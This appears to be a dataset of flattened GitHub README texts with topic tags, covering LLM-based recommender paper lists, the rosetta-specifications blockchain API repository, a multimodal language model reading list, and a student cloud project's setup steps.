2305 15498 https arxiv org abs 2305 15498 arxiv 2023 n a lamda transrec fu j yuan f song y yuan z cheng m cheng s pan y 2023 exploring adapter based transfer learning for recommender systems empirical studies and practical insights arxiv preprint arxiv 2305 15036 https arxiv org abs 2305 15036 arxiv 2023 n a roberta n a li r deng w cheng y yuan z zhang j yuan f 2023 exploring the upper limits of text based collaborative filtering using large language models discoveries and insights arxiv preprint arxiv 2305 11700 https arxiv org pdf 2305 11700 arxiv 2023 n a opt palr chen z 2023 palr personalization aware llms for recommendation arxiv preprint arxiv 2305 07622 https arxiv org pdf 2305 07622 arxiv 2023 n a llama instructrec zhang j xie r hou y zhao w x lin l wen j r 2023 recommendation as instruction following a large language model empowered recommendation approach arxiv preprint arxiv 2305 07001 https arxiv org pdf 2305 07001 arxiv 2023 n a flan t5 3b n a kang w c ni j mehta n sathiamoorthy m hong l chi e cheng d z 2023 do llms understand user preferences evaluating llms on user rating prediction arxiv preprint arxiv 2305 06474 http export arxiv org pdf 2305 06474 arxiv 2023 n a flan chatgpt lsh rahmani s naghshzan a guerrouj l 2023 improving code example recommendations on informal documentation using bert and query aware lsh a comparative study arxiv preprint arxiv 2305 03017 https arxiv org abs 2305 03017v1 arxiv 2023 n a bert tallrec bao k zhang j zhang y wang w feng f he x 2023 tallrec an effective and efficient tuning framework to align large language model with recommendation arxiv preprint arxiv 2305 00447 https arxiv org pdf 2305 00447 arxiv 2023 python https paperswithcode com paper graph convolutional matrix completion llama 7b gpt4rec li j zhang w wang t xiong g lu a medioni g 2023 gpt4rec a generative framework for personalized recommendation and user interests interpretation arxiv preprint arxiv 2304 03879 https arxiv org abs 2304 03879 arxiv 2023 n a gpt 2 idvs morec yuan z yuan f song y li y fu j yang f ni y 2023 where to go next for recommender systems id vs modality based recommender models revisited arxiv preprint arxiv 2303 13835 https arxiv org abs 2303 13835 sigir 2023 python https github com westlake repl idvs morec bert great borisov v se ler k leemann t pawelczyk m kasneci g 2022 language models are realistic tabular data generators arxiv preprint arxiv 2210 06280 https arxiv org abs 2210 06280 iclr 2023 python https github com kathrinse be great gpt 2 m6 rec cui z ma j zhou c zhou j yang h 2022 m6 rec generative pretrained language models are open ended recommender systems arxiv preprint arxiv 2205 08084 https arxiv org pdf 2205 08084 arxiv 2022 n a m6 n a shen t li j bouadjenek m r mai z sanner s 2023 towards understanding and mitigating unintended biases in language model driven conversational recommendation information processing management 60 1 103139 https www sciencedirect com science article pii s0306457322002400 pdfft md5 dd8f44cd9e65dd103177b6799a371b27 pid 1 s2 0 s0306457322002400 main pdf inf process manag 2023 python https github com tinabbb unintended bias lmrec bert p5 geng s liu s fu z ge y zhang y 2022 september recommendation as language processing rlp a unified pretrain personalized prompt predict paradigm p5 in proceedings of the 16th acm conference on recommender systems pp 299 315 https arxiv org pdf 2203 13366 recsys 2022 python https github com jeykigung p5 t5 pepler li l zhang y chen l 2023 personalized prompt learning for explainable recommendation acm transactions on information systems 41 4 1 26 https arxiv org pdf 2202 07371 tois 2023 python https github com lileipisces pepler gpt 2 n a zhang y ding h shui z ma y zou j deoras a wang h 2021 language models as recommender systems evaluations and limitations https openreview net pdf id hfx3fy7 m9b neurips workshop 2021 n a bert gpt 2 related survey paper venue year large language models for generative recommendation a survey and visionary discussions https arxiv org abs 2309 01157 arxiv 2023 zhang k cao q sun f wu y tao s shen h cheng x 2023 robust recommender system a survey and future directions arxiv preprint arxiv 2309 02057 https arxiv org abs 2309 02057 arxiv 2023 li l zhang y liu d chen l 2023 large language models for generative recommendation a survey and visionary discussions arxiv abs 2309 01157 https arxiv org abs 2309 01157 arxiv 2023 chen x li z pan w ming z 2023 a survey on multi behavior sequential recommendation arxiv preprint arxiv 2308 15701 https arxiv org abs 2308 15701 arxiv 2023 chen j liu z huang x wu c liu q jiang g chen e 2023 when large language models meet personalization perspectives of challenges and opportunities arxiv preprint arxiv 2307 16376 https arxiv org abs 2307 16376 arxiv 2023 fan w zhao z li j liu y mei x wang y li q 2023 recommender systems in the era of large language models llms arxiv preprint arxiv 2307 02046 https arxiv org abs 2307 02046 arxiv 2023 li x zhang y malthouse e c 2023 a preliminary study of chatgpt on news recommendation personalization provider fairness fake news arxiv preprint arxiv 2306 10702 https arxiv org abs 2306 10702 arxiv 2023 lin j dai x xi y liu w chen b li x zhang w 2023 how can recommender systems benefit from large language models a survey arxiv preprint arxiv 2306 05817 https arxiv org abs 2306 05817 arxiv 2023 liu p zhang l gulla j a 2023 pre train prompt and recommendation a comprehensive survey of language modelling paradigm adaptations in recommender systems arxiv preprint arxiv 2302 03735 https arxiv org pdf 2302 03735 arxiv 2023 common datasets name scene tasks information url amazon review commerce seq rec cf rec this is a large crawl of product reviews from amazon ratings 82 83 million users 20 98 million items 9 35 million timespan may 1996 july 2014 link http jmcauley ucsd edu data amazon amazon m2 commerce seq rec cf rec a large dataset of anonymized user sessions with their interacted products collected from multiple language sources at amazon it includes 3 606 249 train sessions 361 659 test sessions and 1 410 675 products link https arxiv org abs 2307 09688 steam game seq rec cf rec reviews represent a great opportunity to break down the satisfaction and dissatisfaction factors around games reviews 7 793 069 users 2 567 538 items 15 474 bundles 615 link https cseweb ucsd edu jmcauley datasets html steam data movielens movie general the dataset consists of 4 sub datasets which describe users ratings to movies and free text tagging activities from movielens a movie recommendation service link https grouplens org datasets movielens yelp commerce general there are 6 990 280 reviews 150 346 businesses 200 100 pictures 11 metropolitan areas 908 915 tips by 1 987 897 users over 1 2 million business attributes like hours parking availability etc link https www yelp com dataset douban movie music book seq rec cf rec this dataset includes three domains i e movie music and book and different kinds of raw information i e ratings reviews item details user profiles tags labels and date link https paperswithcode com dataset douban mind news general mind contains about 160k english news articles and more than 15 million impression logs generated by 1 million users every news contains textual content including title abstract body category and entities link https msnews github io assets doc acl2020 mind pdf u need commerce conversation rec u need consists of 7 698 fine grained annotated pre sales dialogues 333 879 user behaviors and 332 148 product knowledge tuples link https github com leeeeoliu u need pixelrec short video seq rec cf rec pixelrec is a large dataset of cover images collected from a short video recommender system comprising approximately 200 million user image interactions 30 million users and 400 000 video cover images the texts and other aggregated attributes of videos are also included link https github com westlake repl pixelrec single card rtx 3090 debuggable generative language models that support chinese corpus some open source and effective projects can be adpated to the recommendation systems based on chinese textual data especially for the individual researchers project year baichuan 7b https huggingface co baichuan inc baichuan 7b 2023 yulan chat https github com ruc gsai yulan chat 2023 chinese llama alpaca https github com ymcui chinese llama alpaca 2023 thudm https github com thudm chatglm 6b https github com thudm chatglm 6b 2023 freedomintelligence https github com freedomintelligence llmzoo https github com freedomintelligence llmzoo phoenix 2023 bloomz 7b1 https huggingface co bigscience bloomz 7b1 2023 lianjiatech https github com lianjiatech belle https github com lianjiatech belle 2023 hope our conclusion can help your work br | large-language-models recommender-system survey llm4rec datasets awesome | ai |
rosetta-specifications | p align center a href https www rosetta api org img width 90 alt rosetta src https www rosetta api org img rosetta header png a p h3 align center rosetta specifications h3 p align center this repository contains all specification files used to generate code for the rosetta api p p align center a href https circleci com gh coinbase rosetta specifications tree master img src https circleci com gh coinbase rosetta specifications tree master svg style shield a a href https github com coinbase rosetta specifications blob master license txt img src https img shields io github license coinbase rosetta specifications svg a p p align center build once integrate your blockchain everywhere p overview rosetta is an open source specification and set of tools that makes integrating with blockchains simpler faster and more reliable the rosetta api is specified in the openapi 3 0 format https www openapis org requests and responses can be crafted with auto generated code using swagger codegen https swagger io tools swagger codegen or openapi generator https openapi generator tech are human readable easy to debug and understand and can be used in servers and browsers installation no installation is required as the repository only includes specification files documentation you can find the rosetta api documentation at rosetta api org https www rosetta api org docs welcome html check out the getting started https www rosetta api org docs getting started html section to start diving into rosetta our documentation is divided into the following sections product overview https www rosetta api org docs welcome html getting started https www rosetta api org docs getting started html rosetta api spec https www rosetta api org docs reference html testing https www rosetta api org docs rosetta cli html best practices https www rosetta api org docs node deployment html repositories https www rosetta api org docs rosetta specifications html contributing you may contribute to the rosetta specifications project in various ways asking questions contributing md asking questions providing feedback contributing md providing feedback reporting issues contributing md reporting issues read our contributing contributing md documentation for more information when you ve finished an implementation for a blockchain share your work in the ecosystem category of the community site https community rosetta api org c ecosystem platforms looking for implementations for certain blockchains will be monitoring this section of the website for high quality implementations they can use for integration make sure that your implementation meets the expectations https www rosetta api org docs node deployment html of any implementation related projects rosetta sdk go https github com coinbase rosetta sdk go the rosetta sdk go sdk provides a collection of packages used for interaction with the rosetta api specification much of the sdk code is generated from this the rosetta specifications https github com coinbase rosetta specifications repository rosetta cli https github com coinbase rosetta cli use the rosetta cli tool to test your rosetta api implementation the tool also provides the ability to look up block contents and account balances reference implementations to help you with examples we developed complete rosetta api reference implementations for bitcoin https github com coinbase rosetta bitcoin and ethereum https github com coinbase rosetta ethereum developers of bitcoin like or ethereum like blockchains may find it easier to fork these reference implementations than to write an implementation from scratch you can also find community implementations for a variety of blockchains in the rosetta ecosystem https github com coinbase rosetta ecosystem repository and in the ecosystem category https community rosetta api org c ecosystem of our community site specification development while working on improvements to this repository we recommend that you use these commands to check your code make deps to install dependencies make gen to generate the specification files make check valid to ensure specification is valid make release to check if code passes all tests run by circleci adding new curvetypes or signaturetypes unlike the data api https www rosetta api org docs data api introduction html where there are no global type constraints e g you can specify any operation type the construction api https www rosetta api org docs construction api introduction html has a clearly enumerated list of supported curves and signatures each one of these items has a clearly specified format that all implementations should expect to receive if a curve or signature you are employing is not enumerated in the specification https www rosetta api org docs reference html you will need to open a pr against the specification to add it along with the standard format it will be represented in it is up to the caller of a construction api implementation to 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Large-Multimodal-Language-Models | large multimodal language models note this paper list is only used to record papers i read in the daily arxiv for personal needs if you find i missed some important and exciting work it would be super helpful to let me know thanks table of contents survey survey position paper position paper structure structure planning planning reasoning reasoning generation generation representation learning representation learning llm analysis llm analysis llm safety llm safety llm evaluation llm evaluation llm reasoning llm reasoning llm application llm application llm with memory llm with memory llm with human llm with human llm foundation llm foundation agent agent interaction interaction critic modeling critic modeling moe specialized moe specialized vision language foundation model vision language foundation model multimodal foundation model multimodal foundation model image generation image generation document understanding document understanding tool learning tool learning instruction tuning instruction tuning incontext learning incontext learning learning from feedback learning from feedback video foundation model video foundation model key frame detection key frame detection pretraining pretraining vision model vision model adaptation of foundation model adaptation of foundation model prompting prompting efficiency efficiency analysis analysis grounding grounding vqa task vqa task vqa dataset vqa dataset social good social good application application benchmark evaluation benchmark evaluation dataset dataset robustness robustness hallucination factuality hallucination factuality cognitive neuronscience machine learning cognitive neuronscience machine learning theory of mind theory of mind cognitive neuronscience cognitive neuronscience world model world model resource resource survey multimodal learning with transformers a survey peng xu xiatian zhu david a clifton multimodal machine learning a survey and taxonomy tadas baltrusaitis chaitanya ahuja louis philippe morency introduce 4 challenges for multi modal learning including representation translation alignment fusion and co learning foundations recent trends in multimodal machine learning principles challenges open questions paul pu liang amir zadeh louis philippe morency multimodal research in vision and language a review of current and emerging trends shagun uppal et al trends in integration of vision and language research a survey of tasks datasets and methods aditya mogadala et al challenges and prospects in vision and language research kushal kafle et al a survey of current datasets for vision and language research francis ferraro et al vlp a survey on vision language pre training feilong chen et al a survey on multimodal disinformation detection firoj alam et al vision language pre training basics recent advances and future trends zhe gan et al deep multimodal representation learning a survey wenzhong guo et al the contribution of knowledge in visiolinguistic learning a survey on tasks and challenges maria lymperaiou et al augmented language models a survey gre goire mialon et al multimodal deep learning matthias a enmacher et al sparks of artificial general intelligence early experiments with gpt 4 sebastien bubeck et al retrieving multimodal information for augmented generation a survey ruochen zhao et al is prompt all you need no a comprehensive and broader view of instruction learning renze lou et al a survey of large language models wayne xin zhao et al tool learning with foundation models yujia qin et al a cookbook of self supervised learning randall balestriero et al foundation models for decision making problems methods and opportunities sherry yang et al bridging the gap a survey on integrating human feedback for natural language generation patrick fernandes et al reasoning with language model prompting a survey shuofei qiao et al towards reasoning in large language models a survey jie huang et al beyond one model fits all a survey of domain specialization for large language models chen ling et al unifying large language models and knowledge graphs a roadmap shirui pan et al interactive natural language processing zekun wang et al a survey on multimodal large language models shukang yin et al trustworthy llms a survey and guideline for evaluating large language models alignment yang liu et al open problems and fundamental limitations of reinforcement learning from human feedback stephen casper et al automatically correcting large language models surveying the landscape of diverse self correction strategies liangming pan et al challenges and applications of large language models jean kaddour et al aligning large language models with human a survey yufei wang et al instruction tuning for large language models a survey shengyu zhang et al a survey on large language model based autonomous agents lei wang et al from instructions to intrinsic human values a survey of alignment goals for big models jing yao et al a survey of safety and trustworthiness of large language models through the lens of verification and validation xiaowei huang et al explainability for large language models a survey haiyan zhao et al siren s song in the ai ocean a survey on hallucination in large language models yue zhang et al position paper eight things to know about large language models samuel r bowman et al a phd student s perspective on research in nlp in the era of very large language models oana ignat et al brain in a vat on missing pieces towards artificial general intelligence in large language models yuxi ma et al towards agi in computer vision lessons learned from gpt and large language models lingxi xie et al a path towards autonomous machine intelligence yann lecun et al gpt 4 can t reason konstantine arkoudas et al cognitive architectures for language agents theodore sumers et al structure finding structural knowledge in multimodal bert victor milewski et al going beyond nouns with vision language models using synthetic data paola cascante bonilla et al measuring progress in fine grained vision and language understanding emanuele bugliarello et al pv2tea patching visual modality to textual established information extraction hejie cui et al event extraction cross media structured common space for multimedia event extraction manling li et al focus on image text event extraction a new benchmark and baseline are proposed visual semantic role labeling for video understanding arka sadhu et al a new benchmark is proposed gaia a fine grained multimedia knowledge extraction system manling li et al demo paper extract knowledge relation event from multimedia data mmekg multi modal event knowledge graph towards universal representation across modalities yubo ma et al situation recognition situation recognition visual semantic role labeling for image understanding mark yatskar et al focus on image understanding given images do the semantic role labeling task no text available a new benchmark and baseline are proposed commonly uncommon semantic sparsity in situation recognition mark yatskar et al address the long tail problem grounded situation recognition sarah pratt et al rethinking the two stage framework for grounded situation recognition meng wei et al collaborative transformers for grounded situation recognition junhyeong cho et al scene graph action genome actions as composition of spatio temporal scene graphs jingwei ji et al spatio temporal scene graphs video unbiased scene graph generation from biased training kaihua tang et al visual distant supervision for scene graph generation yuan yao et al learning to generate scene graph from natural language supervision yiwu zhong et al weakly supervised visual semantic parsing alireza zareian svebor karaman shih fu chang scene graph prediction with limited labels vincent s chen paroma varma ranjay krishna michael bernstein christopher re li fei fei neural motifs scene graph parsing with global context rowan zellers et al fine grained scene graph generation with data transfer ao zhang et al towards open vocabulary scene graph generation with prompt based finetuning tao he et al compositional prompt tuning with motion cues for open vocabulary video relation detection kaifeng gao et al video landmark language guided representation enhancement framework for scene graph generation xiaoguang chang et al transformer based image generation from scene graphs renato sortino et al the devil is in the labels noisy label correction for robust scene graph generation lin li et al knowledge augmented few shot visual relation detection tianyu yu et al prototype based embedding network for scene graph generation chaofan zhen et al unified visual relationship detection with vision and language models long zhao et al structure clip enhance multi modal language representations with structure knowledge yufeng huang et al attribute coco attributes attributes for people animals and objects genevieve patterson et al human attribute recognition by deep hierarchical contexts yining li et al attribute prediction in specific domains emotion recognition in context ronak kosti et al attribute prediction in specific domains the imaterialist fashion attribute dataset sheng guo et al attribute prediction in specific domains learning to predict visual attributes in the wild khoi pham et al open vocabulary attribute detection mar a a bravo et al ovarnet towards open vocabulary object attribute recognition keyan chen et al compositionality crepe can vision language foundation models reason compositionally zixian ma et al winoground probing vision and language models for visio linguistic compositionality tristan thrush et al when and why vision language models behave like bags of words and what to do about it mert yuksekgonul et al gqa a new dataset for real world visual reasoning and compositional question answering drew a hudson et al covr a test bed for visually grounded compositional generalization with real images ben bogin et al cops ref a new dataset and task on compositional referring expression comprehension zhenfang chen et al do vision language pretrained models learn composable primitive concepts tian yun et al sugarcrepe fixing hackable benchmarks for vision language compositionality cheng yu hsieh et al an examination of the compositionality of large generative vision language models teli ma et al concept cross modal concept learning and inference for vision language models yi zhang et al hierarchical visual primitive experts for compositional zero shot learning hanjae kim et al planning multimedia generative script learning for task planning qingyun wang et al next step prediction plate visually grounded planning with transformers in procedural tasks jiankai sun et al procedure planning p3iv probabilistic procedure planning from instructional videos with weak supervision he zhao et al procedure planning using text as weak supervision to replace video clips procedure planning in instructional videos chien yi chang et al procedure planning vilpact a benchmark for compositional generalization on multimodal human activities terry yue zhuo et al actional atomic concept learning for demystifying vision language navigation bingqian lin et al reasoning visualcomet reasoning about the dynamic context of a still image jae sung park et al benchmark dataset requiring models to reason about a still iamge what happen past next learn to explain multimodal reasoning via thought chains for science question answering pan lu et al see think confirm interactive prompting between vision and language models for knowledge based visual reasoning zhenfang chen et al an empirical study of gpt 3 for few shot knowledge based vqa zhengyuan yang et al learn to explain multimodal reasoning via thought chains for science question answering pan lu et al multimodal chain of thought reasoning in language models zhuosheng zhang et al lampp language models as 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prompt distribution learning yuning lu et al soft prompt tuning few shot setting conditional prompt learning for vision language models identify a critical problem of coop the learned context is not generalizable to wider unseen classes within the same dataset propose to learn a dnn that can generate for each image an input conditional token vector learning to prompt for continual learning zifeng wang et al continual learning setting maintain a prompt pool exploring visual prompts for adapting large scale models hyojin bahng et al employ adversarial reprogramming as visual prompts full data setting learning multiple visual domains with residual adapters sylvestre alvise rebuff et al use adapter to transfer pretrained knowledge to multiple domains while freeze the base model parameters work in the cv filed full data transfer learning efficient parametrization of multi domain deep neural networks sylvestre alvise rebuff et al still use adapter for transfer learning with more comprehensive empirical study for an ideal choice prompting visual language models for efficient video understanding chen ju et al video tasks few shots zero shots soft prompt tuning visual prompting via image inpainting amir bar et al in context learning in cv use pretrained masked auto encoder clip models are few shot learners empirical studies on vqa and visual entailment haoyu song et al propose a parameter efficient tuning method bias tuning function well in few shot setting learning to compose soft prompts for compositional zero shot learning nihal v nayak et al zero shot setting inject some knowledge in the learning process test time prompt tuning for zero shot generalization in vision language models manli shu et al learn soft prompt in the test time multitask vision language prompt tuning sheng shen et al few shot a good prompt is worth millions of parameters low resource prompt based learning for vision language models woojeong jin et al cpt colorful prompt tuning for pre trained vision language models yuan yao et al good few shot zero shot performance on refcoco datasets what makes good examples for visual in context learning yuanhan zhang et al hard prompts made easy gradient based discrete optimization for prompt tuning and discovery yuxin wen et al plot prompt learning with optimal transport for vision language models guangyi chen et al what does clip know about a red circle visual prompt engineering for vlms aleksandar shtedritski et al efficiency m3sat a sparsely activated transformer for efficient multi task learning from multiple modalities anonymous prompt tuning for generative multimodal pretrained models hao yang et al implement prefix tuning in ofa try full data setting and demonstrate comparable performance fine tuning image transformers using learnable memory mark sandler et al add soft prompts in each layer full data side tuning a baseline for network adaptation via additive side networks jeffrey o zhang et al transfer learning polyhistor parameter efficient multi task adaptation for dense vision tasks yen cheng liu et al task residual for tuning vision language models tao yu et al uniadapter unified parameter efficient transfer learning for cross modal modeling haoyu lu et al analysis what does bert with vision look at liunian harold li et al visual referring expression recognition what do systems actually learn volkan cirik et al characterizing and overcoming the greedy nature of learning in multi modal deep neural networks nan wu et al study the problem of only relying on one certain modality in training when using multi modal models behind the scene revealing the secrets of pre trained vision and language models jize cao et al mind the gap understanding the modality gap in multi modal contrastive representation learning weixin liang et al how much can clip benefit vision and language tasks sheng shen et al explore two scenarios 1 plugging clip into task specific fine tuning 2 combining clip with v l pre training and transferring to downstream tasks show the boost in performance when using clip as the image encoder vision and language or vision for language on cross modal influence in multimodal transformers stella frank et al controlling for stereotypes in multimodal language model evaluation manuj malik et al beyond instructional videos probing for more diverse visual textual grounding on youtube jack hessel et al what is more likely to happen next video and language future event prediction jie lei et al grounding flickr30k entities collecting region to phrase correspondences for richer image to sentence models bryan a plummer et al a new benchmark dataset annotating phrase region correspondences connecting vision and language with localized narratives jordi pont tuset et al maf multimodal alignment framework for weakly supervised phrase grounding qinxin wang et al visual grounding strategies for text only natural language processing propose to improve the nlp tasks performance by grounding to images two methods are proposed visually grounded neural syntax acquisition haoyue shi et al piglet language grounding through neuro symbolic interaction in a 3d world rowan zellers et al vqa task weaqa weak supervision via captions for visual question answering pratyay banerjee et al don t just assume look and answer overcoming priors for visual question answering aishwarya agrawal et al language prior is not the only shortcut a benchmark for shortcut learning in vqa qingyi si et al towards robust visual question answering making the most of biased samples via contrastive learning qingyi si et al plug and play vqa zero shot vqa by conjoining large pretrained models with zero training anthony meng huat tiong et al from images to textual prompts zero shot vqa with frozen large language models jiaxian guo et al squinting at vqa models introspecting vqa models with sub questions ramprasaath r selvaraju et al multimodal retrieval augmented generator for open question answering over images and text wenhu chen et al towards a unified model for generating answers and explanations in visual question answering chenxi whitehouse et al modularized zero shot vqa with pre trained models rui cao et al generate then select open ended visual question answering guided by world knowledge xingyu fu et al using visual cropping to enhance fine detail question answering of blip family models jiarui zhang et al zero shot visual question answering with language model feedback yifan du et al learning to ask informative sub questions for visual question answering kohei uehara et al why did the chicken cross the road rephrasing and analyzing ambiguous questions in vqa elias stengel eskin et al investigating prompting techniques for zero and few shot visual question answering rabiul awal et al vqa dataset vqa visual question answering aishwarya agrawal et al towards vqa models that can read amanpreet singh et al making the v in vqa matter elevating the role of image understanding in visual question answering yash goyal et al vqa v2 multimodalqa complex question answering over text tables and images alon talmor et al webqa multihop and multimodal qa yingshan chang et al funqa towards surprising video comprehension binzhu xie et al used for video foundation model evaluation learn to explain multimodal reasoning via thought chains for science question answering pan lu et al can pre trained vision and language models answer visual information seeking questions yang chen et al cognition inferring the why in images hamed pirsiavash et al visual madlibs fill in the blank image generation and question answering licheng yu et al from recognition to cognition visual commonsense reasoning rowan zellers et al benchmark dataset requiring models to go beyond the recognition level to cognition need to reason about a still image and give rationales visualcomet reasoning about the dynamic context of a still image jae sung park et al the abduction of sherlock holmes a dataset for visual abductive reasoning jack hessel et al knowledge explicit knowledge based reasoning for visual question answering peng wang et al fvqa fact based visual question answering peng wang ok vqa a visual question answering benchmark requiring external knowledge kenneth marino et al social good the hateful memes challenge detecting hate speech in multimodal memes douwe kiela et al multi modal hate speech detection detecting cross modal inconsistency to defend against neural fake news reuben tan et al multi modal fake news dedetection infosurgeon cross media fine grained information consistency checking for fake news detection yi r fung et al cross modal fake news detection eann event adversarial neural networks for multi modal fake news detection yaqing wang et al end to end multimodal fact checking and explanation generation a challenging dataset and models barry menglong yao et al safe similarity aware multi modal fake news detection xinyi zhou et al r fakeddit a new multimodal benchmark dataset for fine grained fake news detection kai nakamura et al fake news detection dataset fact checking meets fauxtography verifying claims about images dimitrina zlatkova et al claim images pairs prompting for multimodal hateful meme classification rui cao et al application msmo multimodal summarization with multimodal output junnan zhu et al re imagen retrieval augmented text to image generator wenhu chen et al large scale multi lingual multi modal summarization dataset yash verma et al retrieval augmented image captioning rita ramos et al synthetic misinformers generating and combating multimodal misinformation stefanos iordanis papadopoulos et al the dialog must go on improving visual dialog via generative self training gi cheon kang et al capdet unifying dense captioning and open world detection pretraining yanxin long et al decap decoding clip latents for zero shot captioning via text only training wei li et al align and attend multimodal summarization with dual contrastive losses bo he et al benchmark evaluation multimodal datasets misogyny pornography and malignant stereotypes abeba birhane et al understanding me multimodal evaluation for fine grained visual commonsense zhecan wang et al probing image language transformers for verb understanding lisa anne hendricks et al vl checklist evaluating pre trained vision language models with objects attributes and relations tiancheng zhao et al when and why vision language models behave like bags of words and what to do about it mert yuksekgonul et al grit general robust image task benchmark tanmay gupta et al multimodalqa complex question answering over text tables and images alon talmor et al test of time instilling video language models with a sense of time piyush bagad et al dataset visual entailment a novel task for fine grained image understanding ning xie et al visual entailment task snli ve a corpus for reasoning about natural language grounded in photographs alane suhr et al nlvr2 vlue a multi task benchmark for evaluating vision language models wangchunshu zhou et al vlue conceptual captions a cleaned hypernymed image alt text dataset for automatic image captioning piyush sharma et al conceptual 12m pushing web scale image text pre training to recognize long tail visual concepts soravit changpinyo et al laion 5b an open large scale dataset for training next generation image text models christoph schuhmann et al bloom library multimodal datasets in 300 languages for a variety of downstream tasks colin leong et al find someone who visual commonsense understanding in human centric grounding haoxuan you et al multiinstruct improving multi modal zero shot learning via instruction tuning zhiyang xu et al uknow a unified knowledge protocol for common sense reasoning and vision language pre training biao gong et al howto100m learning a text video embedding by watching hundred million narrated video clips antoine miech et al connecting vision and language with video localized narratives paul voigtlaender et al laion 5b an open large scale dataset for training next generation image text models christoph schuhmann et al mad a scalable dataset for language grounding in videos from movie audio descriptions mattia soldan et al champagne learning real world conversation from large scale web videos seungju han et al wit wikipedia based image text dataset for multimodal multilingual machine learning krishna srinivasan et al multimodal c4 an open billion scale corpus of images interleaved with text wanrong zhu et al openassistant conversations democratizing large language model alignment andreas k pf et al theoremqa a theorem driven question answering dataset wenhu chen et al metaclue towards comprehensive visual metaphors research arjun r akula et al robustness domino discovering systematic errors with cross modal embeddings sabri eyuboglu et al learning visually grounded semantics from contrastive adversarial samples haoyue shi et al visually grounded reasoning across languages and cultures fangyu liu et al a closer look at the robustness of vision and language pre trained models linjie li et al compile a list of robustness vqa datasets robustness analysis of video language models against visual and language perturbations madeline c schiappa et al context aware robust fine tuning xiaofeng mao et al task bias in vision language models sachit menon et al are multimodal models robust to image and text perturbations jielin qiu et al cpl counterfactual prompt learning for vision and language models xuehai he et al improving zero shot generalization and robustness of multi modal models yunhao ge et al diagnosing and rectifying vision models using language yuhui zhang et al multimodal prompting with missing modalities for visual recognition yi lun lee et al hallucination factuality object hallucination in image captioning anna rohrbach et al learning to generate grounded visual captions without localization supervision chih yao ma et al on hallucination and predictive uncertainty in conditional language generation yijun xiao et al consensus graph representation learning for better grounded image captioning wenqiao zhang et al relational graph learning for grounded video description generation wenqiao zhang et al let there be a clock on the beach reducing object hallucination in image captioning ali furkan biten et al plausible may not be faithful probing object hallucination in vision language pre training wenliang dai et al models see hallucinations evaluating the factuality in video captioning hui liu et al evaluating and improving factuality in multimodal abstractive summarization david wan et al evaluating object hallucination in large vision language models yifan li et al do language models know when they re hallucinating references ayush agrawal et al detecting and preventing hallucinations in large vision language models anisha gunjal et al dola decoding by contrasting layers improves factuality in large language models yung sung chuang et al felm benchmarking factuality evaluation of large language models shiqi chen et al unveiling the siren s song towards reliable fact conflicting hallucination detection xiang chen et al cognitive neuronscience machine learning mind reader reconstructing complex images from brain activities sikun lin et al joint processing of linguistic properties in brains and language models subba reddy oota et al is the brain mechanism for hierarchical structure building universal across languages an fmri study of chinese and english xiaohan zhang et al training language models for deeper understanding improves brain alignment khai loong aw et al abstract visual reasoning with tangram shapes anya ji et al dissociating language and thought in large language models a cognitive perspective kyle mahowald et al language cognition and language computation human and machine language understanding shaonan wang et al from word models to world models translating from natural language to the probabilistic language of thought lionel wong et al theory of mind do large language models know what humans know sean trott et al few shot language coordination by modeling theory of mind hao zhu et al few shot character understanding in movies as an assessment to meta learning of theory of mind mo yu et al neural theory of mind on the limits of social intelligence in large lms maarten sap et al a cognitive evaluation of instruction generation agents tl dr they need better theory of mind capabilities lingjun zhao et al mindcraft theory of mind modeling for situated dialogue in collaborative tasks cristian paul bara et al tvshowguess character comprehension in stories as speaker guessing yisi sang et al theory of mind may have spontaneously emerged in large language models michal kosinski computational language acquisition with theory of mind andy liu et al speaking the language of your listener audience aware adaptation via plug and play theory of mind ece takmaz et al understanding social reasoning in language models with language models kanishk gandhi et al how far are large language models from agents with theory of mind pei zhou et al cognitive neuronscience functional specificity in the human brain a window into the functional architecture of the mind nancy kanwisher et al visual motion aftereffect in human cortical area mt revealed by functional magnetic resonance imaging roger b h tootell et al speed of processing in the human visual system simon thorpe et al a cortical area selective for visual processing of the human body paul e downing et al triple dissociation of faces bodies and objects in extrastriate cortex david pitcher et al distributed and overlapping representations of faces and objects in ventral temporal cortex james v haxby et al rectilinear edge selectivity is insufficient to explain the category selectivity of the parahippocampal place area peter b bryan et al selective scene perception deficits in a case of topographical disorientation jessica robin et al the cognitive map in humans spatial navigation and beyond russell a epstein et al from simple innate biases to complex visual concepts shimon ullman et al face perception in monkeys reared with no exposure to faces yoichi sugita et al functional neuroanatomy of intuitive physical inference jason fischer et al recruitment of an area involved in eye movements during mental arithmetic andre knops et al intonational speech prosody encoding in the human auditory cortex c tang et al world model recurrent world models facilitate policy evolution david ha et al transformers are sample efficient world models vincent micheli et al language models meet world models embodied experiences enhance language models jiannan xiang et al reasoning with language model is planning with world model shibo hao et al learning to model the world with language jessy lin et al resource lavis a one stop library for language vision intelligence https github com salesforce lavis multiviz towards visualizing and understanding multimodal models paul pu liang et al torchscale a library for transformers at any scale shuming ma et al video pretraining https zhuanlan zhihu com p 515175476 towards complex reasoning the polaris of large language models yao fu prompt engineering lilian weng memory in human brains https qbi uq edu au brain basics memory bloom s taxonomy https cft vanderbilt edu guides sub pages blooms taxonomy text familiarly 20known 20as 20bloom s 20taxonomy analysis 2c 20synthesis 2c 20and 20evaluation chain of thought hub a continuous effort to measure large language models reasoning performance yao fu et al llm powered autonomous agents lilian weng retrieval based language models and applications tutorial https github com acl2023 retrieval lm acl2023 retrieval lm github io recent advances in vision foundation models tutorial https vlp tutorial github io | machine-learning general-purpose-model large-language-models multimodal | ai |
CWRU-EECS397-Spring-2017 | cwru eecs397 spring 2017 for cwru eecs397 special topic 2017 spring | os |
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nimbus-event-ms | coms6156 nimbus columbia university fall 2022 coms6156 cloud compute professor donald f ferguson project nimbus local setup requirements python 3 9 or higher macos linux to build the service locally create a python venv then clone the repository sh python3 m venv env path cd env path source bin activate git clone https github com yaminivibha nimbus git next you ll want to enter the repository directory and install the requirements sh cd nimbus python3 m pip install upgrade pip note it is advisable you run this command every time you do a pull sh pip install r requirements txt running the web app locally sh cd nimbus web app python3 app py | cloud |
